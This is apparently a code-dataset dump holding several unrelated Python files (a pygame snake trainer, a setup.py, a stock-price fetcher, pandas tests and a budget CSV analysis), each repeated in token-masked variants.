print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n <function token>\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n <function token>\n <function token>\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n <function token>\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n <function token>\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n <function token>\n <function token>\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n <function token>\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n <function token>\n <function token>\n <function token>\n <function token>\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass App:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
9,970
e0f7837731520ad76ca91d78c20327d1d9bb6d4f
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Created on 2021.03.18 setup for package. @author: zoharslong """ from setuptools import setup, find_packages from os.path import join as os_join, abspath as os_abspath, dirname as os_dirname here = os_abspath(os_dirname(__file__)) with open(os_join(here, 'README.md')) as f: README = f.read() setup( name="pyzohar", version="0.1.11", author="zoharslong", author_email="[email protected]", description="a private package on data pre-processing.", long_description=README, url="https://www.xzzsmeadow.com/", license="MIT", classifiers=[ 'Development Status :: 3 - Alpha', # {3:Alpha, 4:Beta, 5:Production/Stable} 'Intended Audience :: Developers', 'Topic :: Software Development :: Build Tools', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', ], packages=find_packages(), keywords='data pre-processing', python_requires='>=3', install_requires=[ 'numpy>=1.18.1', 'pandas>=1.0.1', 'pymongo>=3.9.0', 'pymysql>=0.9.3', 'fake-useragent>=0.1.11', 'requests>=2.22.0', 'openpyxl>=3.0.3', # excel files resolving 'urllib3>=1.25.8', # some error type of http requests # 'matplotlib>=3.1.3', # for sub_slt_mdl.mdz # 'sklearn>=0.22.1', # for sub_slt_mdl.mdz # 'seaborn>=0.10.0', # for sub_slt_mdl.mdz # 'factor_analyzer>=0.3.2', # for sub_slt_mdl.mdz # 'joblib>=0.14.1', # for sub_slt_mdl.mdz # 'python-pptx>=0.6.19', # for sub_slt_ppt.ppz ], package_data={'pyzohar': ['samples/*.*']}, include_package_data=True, )
[ "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2021.03.18\nsetup for package.\n@author: zoharslong\n\"\"\"\nfrom setuptools import setup, find_packages\nfrom os.path import join as os_join, abspath as os_abspath, dirname as os_dirname\n\nhere = os_abspath(os_dirname(__file__))\nwith open(os_join(here, 'README.md')) as f:\n README = f.read()\n\nsetup(\n name=\"pyzohar\",\n version=\"0.1.11\",\n author=\"zoharslong\",\n author_email=\"[email protected]\",\n description=\"a private package on data pre-processing.\",\n long_description=README,\n url=\"https://www.xzzsmeadow.com/\",\n license=\"MIT\",\n classifiers=[\n 'Development Status :: 3 - Alpha', # {3:Alpha, 4:Beta, 5:Production/Stable}\n 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Build Tools',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n ],\n packages=find_packages(),\n keywords='data pre-processing',\n python_requires='>=3',\n install_requires=[\n 'numpy>=1.18.1',\n 'pandas>=1.0.1',\n 'pymongo>=3.9.0',\n 'pymysql>=0.9.3',\n 'fake-useragent>=0.1.11',\n 'requests>=2.22.0',\n 'openpyxl>=3.0.3', # excel files resolving\n 'urllib3>=1.25.8', # some error type of http requests\n # 'matplotlib>=3.1.3', # for sub_slt_mdl.mdz\n # 'sklearn>=0.22.1', # for sub_slt_mdl.mdz\n # 'seaborn>=0.10.0', # for sub_slt_mdl.mdz\n # 'factor_analyzer>=0.3.2', # for sub_slt_mdl.mdz\n # 'joblib>=0.14.1', # for sub_slt_mdl.mdz\n # 'python-pptx>=0.6.19', # for sub_slt_ppt.ppz\n ],\n package_data={'pyzohar': ['samples/*.*']},\n include_package_data=True,\n)\n", "<docstring token>\nfrom setuptools import setup, find_packages\nfrom os.path import join as os_join, abspath as os_abspath, dirname as os_dirname\nhere = os_abspath(os_dirname(__file__))\nwith open(os_join(here, 'README.md')) as f:\n README = f.read()\nsetup(name='pyzohar', version='0.1.11', author='zoharslong', author_email=\n '[email protected]', description=\n 'a private package on data pre-processing.', long_description=README,\n url='https://www.xzzsmeadow.com/', license='MIT', classifiers=[\n 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Build Tools',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9'], packages=find_packages(),\n keywords='data pre-processing', python_requires='>=3', install_requires\n =['numpy>=1.18.1', 'pandas>=1.0.1', 'pymongo>=3.9.0', 'pymysql>=0.9.3',\n 'fake-useragent>=0.1.11', 'requests>=2.22.0', 'openpyxl>=3.0.3',\n 'urllib3>=1.25.8'], package_data={'pyzohar': ['samples/*.*']},\n include_package_data=True)\n", "<docstring token>\n<import token>\nhere = os_abspath(os_dirname(__file__))\nwith open(os_join(here, 'README.md')) as f:\n README = f.read()\nsetup(name='pyzohar', version='0.1.11', author='zoharslong', author_email=\n '[email protected]', description=\n 'a private package on data pre-processing.', long_description=README,\n url='https://www.xzzsmeadow.com/', license='MIT', classifiers=[\n 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Build Tools',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9'], packages=find_packages(),\n keywords='data pre-processing', python_requires='>=3', install_requires\n =['numpy>=1.18.1', 'pandas>=1.0.1', 'pymongo>=3.9.0', 'pymysql>=0.9.3',\n 'fake-useragent>=0.1.11', 'requests>=2.22.0', 'openpyxl>=3.0.3',\n 'urllib3>=1.25.8'], package_data={'pyzohar': ['samples/*.*']},\n include_package_data=True)\n", "<docstring token>\n<import token>\n<assignment token>\nwith open(os_join(here, 'README.md')) as f:\n README = f.read()\nsetup(name='pyzohar', version='0.1.11', author='zoharslong', author_email=\n '[email protected]', description=\n 'a private package on data pre-processing.', long_description=README,\n url='https://www.xzzsmeadow.com/', license='MIT', classifiers=[\n 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Build Tools',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9'], packages=find_packages(),\n keywords='data pre-processing', python_requires='>=3', install_requires\n =['numpy>=1.18.1', 'pandas>=1.0.1', 'pymongo>=3.9.0', 'pymysql>=0.9.3',\n 'fake-useragent>=0.1.11', 'requests>=2.22.0', 'openpyxl>=3.0.3',\n 'urllib3>=1.25.8'], package_data={'pyzohar': ['samples/*.*']},\n include_package_data=True)\n", "<docstring token>\n<import token>\n<assignment token>\n<code token>\n" ]
false
9,971
3c8e6a93c4d5616b9199cf473d298bfa2dc191af
import json import os import time import urllib.request import pandas as pd from lib.db.dbutils import ( check_blacklisted, check_ticker_exists, get_db, update_blacklisted, ) def get_data(url, delay=20): while True: df = json.loads(urllib.request.urlopen(url).read()) if df.get("Note", 0) == 0: break time.sleep(20) return df def grab_a_ticker(symbol="MSFT", apiKey=None): if apiKey is None: apiKey = os.environ.get("API_KEY") # Check if ticker already exists in the database if not check_ticker_exists(symbol) and not check_blacklisted(symbol): requestUrl = r"https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}" metaDataUrl = r"https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}" data = get_data(requestUrl.format(symbol, apiKey)) metaData = get_data(metaDataUrl.format(symbol, apiKey)) df = pd.DataFrame( pd.DataFrame(data.get("Time Series (Daily)")).transpose()[ "4. close" ] ).reset_index() df.columns = ["Date", "Price"] df["Symbol"] = data["Meta Data"]["2. Symbol"] if len(metaData["bestMatches"]) > 0: met_df = ( pd.DataFrame(metaData["bestMatches"][0], index=[0])[ ["1. symbol", "2. name", "3. type", "4. region"] ] .reset_index() .drop(["index"], axis=1) ) met_df.columns = ["Symbol", "Name", "Type", "Region"] else: print(metaData.keys()) met_df = pd.DataFrame() try: assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol df.to_sql( "time_series", con=get_db(), if_exists="append", index=False ) met_df.to_sql( "stock_meta_data", con=get_db(), if_exists="append", index=False, ) except AssertionError as e: print( "'Couldn't get it right with assertion error: {}".format( str(e) ) ) update_blacklisted(symbol) except Exception as e: print(str(e)) update_blacklisted(symbol) else: print("Symbol {} already exists.".format(symbol))
[ "import json\nimport os\nimport time\nimport urllib.request\n\nimport pandas as pd\n\nfrom lib.db.dbutils import (\n check_blacklisted,\n check_ticker_exists,\n get_db,\n update_blacklisted,\n)\n\n\ndef get_data(url, delay=20):\n while True:\n df = json.loads(urllib.request.urlopen(url).read())\n if df.get(\"Note\", 0) == 0:\n break\n time.sleep(20)\n return df\n\n\ndef grab_a_ticker(symbol=\"MSFT\", apiKey=None):\n if apiKey is None:\n apiKey = os.environ.get(\"API_KEY\")\n # Check if ticker already exists in the database\n if not check_ticker_exists(symbol) and not check_blacklisted(symbol):\n requestUrl = r\"https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}\"\n metaDataUrl = r\"https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}\"\n data = get_data(requestUrl.format(symbol, apiKey))\n metaData = get_data(metaDataUrl.format(symbol, apiKey))\n df = pd.DataFrame(\n pd.DataFrame(data.get(\"Time Series (Daily)\")).transpose()[\n \"4. close\"\n ]\n ).reset_index()\n\n df.columns = [\"Date\", \"Price\"]\n df[\"Symbol\"] = data[\"Meta Data\"][\"2. Symbol\"]\n if len(metaData[\"bestMatches\"]) > 0:\n met_df = (\n pd.DataFrame(metaData[\"bestMatches\"][0], index=[0])[\n [\"1. symbol\", \"2. name\", \"3. type\", \"4. region\"]\n ]\n .reset_index()\n .drop([\"index\"], axis=1)\n )\n met_df.columns = [\"Symbol\", \"Name\", \"Type\", \"Region\"]\n else:\n print(metaData.keys())\n met_df = pd.DataFrame()\n\n try:\n assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol\n df.to_sql(\n \"time_series\", con=get_db(), if_exists=\"append\", index=False\n )\n met_df.to_sql(\n \"stock_meta_data\",\n con=get_db(),\n if_exists=\"append\",\n index=False,\n )\n except AssertionError as e:\n print(\n \"'Couldn't get it right with assertion error: {}\".format(\n str(e)\n )\n )\n update_blacklisted(symbol)\n except Exception as e:\n print(str(e))\n update_blacklisted(symbol)\n else:\n print(\"Symbol {} already exists.\".format(symbol))\n", "import json\nimport os\nimport time\nimport urllib.request\nimport pandas as pd\nfrom lib.db.dbutils import check_blacklisted, check_ticker_exists, get_db, update_blacklisted\n\n\ndef get_data(url, delay=20):\n while True:\n df = json.loads(urllib.request.urlopen(url).read())\n if df.get('Note', 0) == 0:\n break\n time.sleep(20)\n return df\n\n\ndef grab_a_ticker(symbol='MSFT', apiKey=None):\n if apiKey is None:\n apiKey = os.environ.get('API_KEY')\n if not check_ticker_exists(symbol) and not check_blacklisted(symbol):\n requestUrl = (\n 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}'\n )\n metaDataUrl = (\n 'https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}'\n )\n data = get_data(requestUrl.format(symbol, apiKey))\n metaData = get_data(metaDataUrl.format(symbol, apiKey))\n df = pd.DataFrame(pd.DataFrame(data.get('Time Series (Daily)')).\n transpose()['4. close']).reset_index()\n df.columns = ['Date', 'Price']\n df['Symbol'] = data['Meta Data']['2. Symbol']\n if len(metaData['bestMatches']) > 0:\n met_df = pd.DataFrame(metaData['bestMatches'][0], index=[0])[[\n '1. symbol', '2. name', '3. type', '4. region']].reset_index(\n ).drop(['index'], axis=1)\n met_df.columns = ['Symbol', 'Name', 'Type', 'Region']\n else:\n print(metaData.keys())\n met_df = pd.DataFrame()\n try:\n assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol\n df.to_sql('time_series', con=get_db(), if_exists='append',\n index=False)\n met_df.to_sql('stock_meta_data', con=get_db(), if_exists=\n 'append', index=False)\n except AssertionError as e:\n print(\"'Couldn't get it right with assertion error: {}\".format(\n str(e)))\n update_blacklisted(symbol)\n except Exception as e:\n print(str(e))\n update_blacklisted(symbol)\n else:\n print('Symbol {} already exists.'.format(symbol))\n", "<import token>\n\n\ndef get_data(url, delay=20):\n while True:\n df = json.loads(urllib.request.urlopen(url).read())\n if df.get('Note', 0) == 0:\n break\n time.sleep(20)\n return df\n\n\ndef grab_a_ticker(symbol='MSFT', apiKey=None):\n if apiKey is None:\n apiKey = os.environ.get('API_KEY')\n if not check_ticker_exists(symbol) and not check_blacklisted(symbol):\n requestUrl = (\n 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}'\n )\n metaDataUrl = (\n 'https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}'\n )\n data = get_data(requestUrl.format(symbol, apiKey))\n metaData = get_data(metaDataUrl.format(symbol, apiKey))\n df = pd.DataFrame(pd.DataFrame(data.get('Time Series (Daily)')).\n transpose()['4. close']).reset_index()\n df.columns = ['Date', 'Price']\n df['Symbol'] = data['Meta Data']['2. Symbol']\n if len(metaData['bestMatches']) > 0:\n met_df = pd.DataFrame(metaData['bestMatches'][0], index=[0])[[\n '1. symbol', '2. name', '3. type', '4. region']].reset_index(\n ).drop(['index'], axis=1)\n met_df.columns = ['Symbol', 'Name', 'Type', 'Region']\n else:\n print(metaData.keys())\n met_df = pd.DataFrame()\n try:\n assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol\n df.to_sql('time_series', con=get_db(), if_exists='append',\n index=False)\n met_df.to_sql('stock_meta_data', con=get_db(), if_exists=\n 'append', index=False)\n except AssertionError as e:\n print(\"'Couldn't get it right with assertion error: {}\".format(\n str(e)))\n update_blacklisted(symbol)\n except Exception as e:\n print(str(e))\n update_blacklisted(symbol)\n else:\n print('Symbol {} already exists.'.format(symbol))\n", "<import token>\n<function token>\n\n\ndef grab_a_ticker(symbol='MSFT', apiKey=None):\n if apiKey is None:\n apiKey = os.environ.get('API_KEY')\n if not check_ticker_exists(symbol) and not check_blacklisted(symbol):\n requestUrl = (\n 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}'\n )\n metaDataUrl = (\n 'https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}'\n )\n data = get_data(requestUrl.format(symbol, apiKey))\n metaData = get_data(metaDataUrl.format(symbol, apiKey))\n df = pd.DataFrame(pd.DataFrame(data.get('Time Series (Daily)')).\n transpose()['4. close']).reset_index()\n df.columns = ['Date', 'Price']\n df['Symbol'] = data['Meta Data']['2. Symbol']\n if len(metaData['bestMatches']) > 0:\n met_df = pd.DataFrame(metaData['bestMatches'][0], index=[0])[[\n '1. symbol', '2. name', '3. type', '4. region']].reset_index(\n ).drop(['index'], axis=1)\n met_df.columns = ['Symbol', 'Name', 'Type', 'Region']\n else:\n print(metaData.keys())\n met_df = pd.DataFrame()\n try:\n assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol\n df.to_sql('time_series', con=get_db(), if_exists='append',\n index=False)\n met_df.to_sql('stock_meta_data', con=get_db(), if_exists=\n 'append', index=False)\n except AssertionError as e:\n print(\"'Couldn't get it right with assertion error: {}\".format(\n str(e)))\n update_blacklisted(symbol)\n except Exception as e:\n print(str(e))\n update_blacklisted(symbol)\n else:\n print('Symbol {} already exists.'.format(symbol))\n", "<import token>\n<function token>\n<function token>\n" ]
false
9,972
13b2fea09f5a4300563dd8870fe1841b47756b36
import pytest from pandas import ( Index, NaT, ) import pandas._testing as tm def test_astype_str_from_bytes(): # https://github.com/pandas-dev/pandas/issues/38607 idx = Index(["あ", b"a"], dtype="object") result = idx.astype(str) expected = Index(["あ", "a"], dtype="object") tm.assert_index_equal(result, expected) def test_astype_invalid_nas_to_tdt64_raises(): # GH#45722 don't cast np.datetime64 NaTs to timedelta64 NaT idx = Index([NaT.asm8] * 2, dtype=object) msg = r"Cannot cast Index to dtype timedelta64\[ns\]" with pytest.raises(TypeError, match=msg): idx.astype("m8[ns]")
[ "import pytest\n\nfrom pandas import (\n Index,\n NaT,\n)\nimport pandas._testing as tm\n\n\ndef test_astype_str_from_bytes():\n # https://github.com/pandas-dev/pandas/issues/38607\n idx = Index([\"あ\", b\"a\"], dtype=\"object\")\n result = idx.astype(str)\n expected = Index([\"あ\", \"a\"], dtype=\"object\")\n tm.assert_index_equal(result, expected)\n\n\ndef test_astype_invalid_nas_to_tdt64_raises():\n # GH#45722 don't cast np.datetime64 NaTs to timedelta64 NaT\n idx = Index([NaT.asm8] * 2, dtype=object)\n\n msg = r\"Cannot cast Index to dtype timedelta64\\[ns\\]\"\n with pytest.raises(TypeError, match=msg):\n idx.astype(\"m8[ns]\")\n", "import pytest\nfrom pandas import Index, NaT\nimport pandas._testing as tm\n\n\ndef test_astype_str_from_bytes():\n idx = Index(['あ', b'a'], dtype='object')\n result = idx.astype(str)\n expected = Index(['あ', 'a'], dtype='object')\n tm.assert_index_equal(result, expected)\n\n\ndef test_astype_invalid_nas_to_tdt64_raises():\n idx = Index([NaT.asm8] * 2, dtype=object)\n msg = 'Cannot cast Index to dtype timedelta64\\\\[ns\\\\]'\n with pytest.raises(TypeError, match=msg):\n idx.astype('m8[ns]')\n", "<import token>\n\n\ndef test_astype_str_from_bytes():\n idx = Index(['あ', b'a'], dtype='object')\n result = idx.astype(str)\n expected = Index(['あ', 'a'], dtype='object')\n tm.assert_index_equal(result, expected)\n\n\ndef test_astype_invalid_nas_to_tdt64_raises():\n idx = Index([NaT.asm8] * 2, dtype=object)\n msg = 'Cannot cast Index to dtype timedelta64\\\\[ns\\\\]'\n with pytest.raises(TypeError, match=msg):\n idx.astype('m8[ns]')\n", "<import token>\n<function token>\n\n\ndef test_astype_invalid_nas_to_tdt64_raises():\n idx = Index([NaT.asm8] * 2, dtype=object)\n msg = 'Cannot cast Index to dtype timedelta64\\\\[ns\\\\]'\n with pytest.raises(TypeError, match=msg):\n idx.astype('m8[ns]')\n", "<import token>\n<function token>\n<function token>\n" ]
false
9,973
1ad694c68ef264c6fbba4f4b9c069f22818d2816
# Dependencies import pandas as pd # Load in data file from resources bank_data = "Resources/budget_data.csv" # Read and display with pandas bank_df = pd.read_csv(bank_data) # Find the total number of months included in the dataset total_months = bank_df["Date"].count() # Find the total net amount of "Profit/Losses" over the entire period net_end = bank_df["Profit/Losses"].sum() # Create a new column that displays profit or loss between months bank_df["Change"] = bank_df["Profit/Losses"].diff() # Find the average change in "Profit/Losses" between months over the entire period average_change = bank_df["Change"].mean() # Find the greatest increase in profits (date and amount) over the entire period greatest_increase = bank_df["Change"].max() greatest_increase_month = bank_df.loc[bank_df["Change"] == greatest_increase, :] # Find the greatest decrease in losses (date and amount) over the entire period greatest_decrease = bank_df["Change"].min() greatest_decrease_month = bank_df.loc[bank_df["Change"] == greatest_decrease, :] # Print financial analysis financial_analysis = (print("Financial Analysis"), print("----------------------------"), print(f'Total Months: {total_months}'), print(f'Total: {net_end}'), print(f'Average Change: ${round(average_change)}'), print(f'Greatest Increase in Profits:'), print(str(greatest_increase_month)), print(f'Greatest Decrease in Profits:'), print(greatest_decrease_month)) # Export to .txt output = open("output.txt", "w") line1 = "Financial Analysis" line2 = "---------------------" line3 = str(f'Total Months: {total_months}') line4 = str(f'Total: {net_end}') line5 = str(f'Average Change: ${average_change}') line6 = str(f'Greatest Increase in Profits: {greatest_increase_month}') line7 = str(f'Greatest Decrease in Profits: {greatest_decrease_month}') output.write('{}\n{}\n{}\n{}\n{}\n{}\n{}\n'.format(line1,line2,line3,line4,line5,line6,line7))
[ "# Dependencies\nimport pandas as pd\n\n# Load in data file from resources\nbank_data = \"Resources/budget_data.csv\"\n\n# Read and display with pandas\nbank_df = pd.read_csv(bank_data)\n\n# Find the total number of months included in the dataset\ntotal_months = bank_df[\"Date\"].count()\n\n# Find the total net amount of \"Profit/Losses\" over the entire period\nnet_end = bank_df[\"Profit/Losses\"].sum()\n\n# Create a new column that displays profit or loss between months\nbank_df[\"Change\"] = bank_df[\"Profit/Losses\"].diff()\n\n# Find the average change in \"Profit/Losses\" between months over the entire period\naverage_change = bank_df[\"Change\"].mean()\n\n# Find the greatest increase in profits (date and amount) over the entire period\ngreatest_increase = bank_df[\"Change\"].max()\ngreatest_increase_month = bank_df.loc[bank_df[\"Change\"] == greatest_increase, :]\n\n# Find the greatest decrease in losses (date and amount) over the entire period\ngreatest_decrease = bank_df[\"Change\"].min()\ngreatest_decrease_month = bank_df.loc[bank_df[\"Change\"] == greatest_decrease, :]\n\n# Print financial analysis\nfinancial_analysis = (print(\"Financial Analysis\"), print(\"----------------------------\"), \nprint(f'Total Months: {total_months}'), print(f'Total: {net_end}'), \nprint(f'Average Change: ${round(average_change)}'), \nprint(f'Greatest Increase in Profits:'), \nprint(str(greatest_increase_month)),\nprint(f'Greatest Decrease in Profits:'), \nprint(greatest_decrease_month))\n\n# Export to .txt\noutput = open(\"output.txt\", \"w\")\n\nline1 = \"Financial Analysis\"\nline2 = \"---------------------\"\nline3 = str(f'Total Months: {total_months}')\nline4 = str(f'Total: {net_end}')\nline5 = str(f'Average Change: ${average_change}')\nline6 = str(f'Greatest Increase in Profits: {greatest_increase_month}')\nline7 = str(f'Greatest Decrease in Profits: {greatest_decrease_month}')\noutput.write('{}\\n{}\\n{}\\n{}\\n{}\\n{}\\n{}\\n'.format(line1,line2,line3,line4,line5,line6,line7))", "import pandas as pd\nbank_data = 'Resources/budget_data.csv'\nbank_df = pd.read_csv(bank_data)\ntotal_months = bank_df['Date'].count()\nnet_end = bank_df['Profit/Losses'].sum()\nbank_df['Change'] = bank_df['Profit/Losses'].diff()\naverage_change = bank_df['Change'].mean()\ngreatest_increase = bank_df['Change'].max()\ngreatest_increase_month = bank_df.loc[bank_df['Change'] == greatest_increase, :\n ]\ngreatest_decrease = bank_df['Change'].min()\ngreatest_decrease_month = bank_df.loc[bank_df['Change'] == greatest_decrease, :\n ]\nfinancial_analysis = print('Financial Analysis'), print(\n '----------------------------'), print(f'Total Months: {total_months}'\n ), print(f'Total: {net_end}'), print(\n f'Average Change: ${round(average_change)}'), print(\n f'Greatest Increase in Profits:'), print(str(greatest_increase_month)\n ), print(f'Greatest Decrease in Profits:'), print(greatest_decrease_month)\noutput = open('output.txt', 'w')\nline1 = 'Financial Analysis'\nline2 = '---------------------'\nline3 = str(f'Total Months: {total_months}')\nline4 = str(f'Total: {net_end}')\nline5 = str(f'Average Change: ${average_change}')\nline6 = str(f'Greatest Increase in Profits: {greatest_increase_month}')\nline7 = str(f'Greatest Decrease in Profits: {greatest_decrease_month}')\noutput.write(\"\"\"{}\n{}\n{}\n{}\n{}\n{}\n{}\n\"\"\".format(line1, line2, line3, line4,\n line5, line6, line7))\n", "<import token>\nbank_data = 'Resources/budget_data.csv'\nbank_df = pd.read_csv(bank_data)\ntotal_months = bank_df['Date'].count()\nnet_end = bank_df['Profit/Losses'].sum()\nbank_df['Change'] = bank_df['Profit/Losses'].diff()\naverage_change = bank_df['Change'].mean()\ngreatest_increase = bank_df['Change'].max()\ngreatest_increase_month = bank_df.loc[bank_df['Change'] == greatest_increase, :\n ]\ngreatest_decrease = bank_df['Change'].min()\ngreatest_decrease_month = bank_df.loc[bank_df['Change'] == greatest_decrease, :\n ]\nfinancial_analysis = print('Financial Analysis'), print(\n '----------------------------'), print(f'Total Months: {total_months}'\n ), print(f'Total: {net_end}'), print(\n f'Average Change: ${round(average_change)}'), print(\n f'Greatest Increase in Profits:'), print(str(greatest_increase_month)\n ), print(f'Greatest Decrease in Profits:'), print(greatest_decrease_month)\noutput = open('output.txt', 'w')\nline1 = 'Financial Analysis'\nline2 = '---------------------'\nline3 = str(f'Total Months: {total_months}')\nline4 = str(f'Total: {net_end}')\nline5 = str(f'Average Change: ${average_change}')\nline6 = str(f'Greatest Increase in Profits: {greatest_increase_month}')\nline7 = str(f'Greatest Decrease in Profits: {greatest_decrease_month}')\noutput.write(\"\"\"{}\n{}\n{}\n{}\n{}\n{}\n{}\n\"\"\".format(line1, line2, line3, line4,\n line5, line6, line7))\n", "<import token>\n<assignment token>\noutput.write(\"\"\"{}\n{}\n{}\n{}\n{}\n{}\n{}\n\"\"\".format(line1, line2, line3, line4,\n line5, line6, line7))\n", "<import token>\n<assignment token>\n<code token>\n" ]
false
9,974
05ca16303d0eb962249793164ac91795c45cc3c2
